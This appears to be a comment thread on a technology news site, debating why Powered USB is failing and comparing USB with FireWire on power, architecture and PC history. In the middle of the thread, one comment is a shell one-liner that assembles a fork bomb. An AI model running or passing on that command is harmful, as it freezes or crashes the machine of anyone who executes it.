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Why Powered USB Is Going to Fail
An anonymous reader writes "Patrick McFarland, famous Free Software Magazine author, has written a two part article about why Powered USB is not taking off at home. (part 2 is also available) He includes a lengthy history on why USB took off in the first place, and then continues on to explain what we gain by allowing Powered USB to power all our devices."
Bzzzt! Wrong. There's no guarantee that 2.5" drives do not require more than 0.5A @ 5V. I've got four drives in front of me, and three of them require 0.7A.
Not only that, but the 2.5" drives are more expensive, slower, and has way less storage capacity.
like offloading work from the cpu as the older and slower fire wire 400 bus is faster then the usb 2 bus and it can be used to link 2 systems together with out a special cable
I don't think USB will ever support peer to peer. USB 1.0 was designed to have a smart host and dumb devices, to make sure that low end Asian manufacturers could make mice and keyboards with a couple of man-weeks of labour, probably only a few man hours once they get up to speed. Later on people started to use it for storage, and USB 2.0 was needed to up the speed. But it was never designed to do firewire type things like peer to peer networking, because Intel thought that Firewire would always do those. Theoretically, you could have two USB OTG hosts linked together, one as "device" and one as "host", but support for OTG is non existant on desktops.
But remember that USB is popular because every PC has it, and there are loads of sub $30 USB peripherals. If it had started off like Firewire, that wouldn't have happened.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Nowadays a special expansion card or external device are necessary to get back the same capability. The cheapest are around $100
You're correct, but to be fair in comparision, back when those ports were popular on the IBM-PC, the parallel, serial, and joystick ports were themselves expensive add-on cards.
The PC and PC-XT had NO built in I/O. You had to plug in EVERYTHING as expansion cards, includng floppy controller card, hd controller card, serial card, parallel (which you could get built on with the MDA monochrome text-only video card), game port card, video card. None of these were built in 'on the motherboard.' On the original PC it wasn't hard to tie up all five expansion slots, since you also didn't get 640K on the motherboard, so had to plug extra RAM in _brace_yourself_ an expansion card in other I/O slot.
Thus the rise of the 'AST Six-Pack' and other multifuntion cards, which gave you seral/parallel/memory/realtime-clock/etc. all on one card (a card that cost about what people pay now for a whole system at Wal-Mart.)
I think you have it backwards, unless you have a PC or FireWire Card that doesn't support bus master. It is not uncommon to find marginal FireWire support on PC's, but most consumer & pro electronics, as well as all Apple products offer full Firewire support.
USB requires a host CPU; FireWire does not.
FireWire uses a "Peer-to-Peer" architecture in which the peripherals are intelligent and can negotiate bus conflicts to determine which device can best control a data transfer
USB 2.0 uses a "Master-Slave" architecture in which the computer handles all arbitration functions and dictates data flow to, from and between the attached peripherals (adding additional system overhead and resulting in slower, less-efficient data flow control)
USB 2.0
1.5 Mbit/s 12Mbit/s 480Mbit/s supported.
USB controller is required to control the bus and data transfer.
Cable up to 5 m.
Up to 127 devices supported.
Power supply to external devices is 500 mA/5V (max).
Full compatibility with USB 1.1 devices.
FireWire (IEEE1394)
100 Mbit/s to 800Mbit/s supported.
Works without control, devices communicate peer-to-peer.
Cable up to 4.5 m.
Up to 63 devices supported.
Power supply to external devices is 1.25A/12V (max.).
Agreed... but I think a balance is necessary - increased power efficiency, but there are some devices and applications that need more power than the standard allows.
A typo? I have a 17" MacBook Pro that supports FW800 just fine.
Not a typo... poster was only referring to the fact that many PC manufacturers don't include add-ons that most people never use. Mac's having this hardware is the norm, for PCs, it is not. For a PC to have it, it means that it is at least gaining some common use.